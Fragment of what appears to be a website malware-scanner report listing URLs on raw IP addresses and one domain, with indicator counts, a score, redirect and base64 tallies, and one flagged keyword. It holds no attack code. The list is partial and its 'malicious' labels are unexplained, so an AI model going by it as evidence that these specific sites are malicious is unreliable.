http://18.176.47.246/comments/feed/
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
http://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/images/to-top-btn-icon.svg
https://125.253.125.72/
274 indicators detected
Score: 450
8
base64
2
redirects
1
suspicious keywords

πŸ” Suspicious Keywords 1

hidden

🌐 Extracted URLs 255

http://ogp.me/ns#
https://gmpg.org/xfn/11
https://baovechatluongcao.baovengayvadem.com/xmlrpc.php
https://baovechatluongcao.baovengayvadem.com/feed/
https://baovechatluongcao.baovengayvadem.com/comments/feed/

Showing top 20 malicious sites. 8 additional sites detected.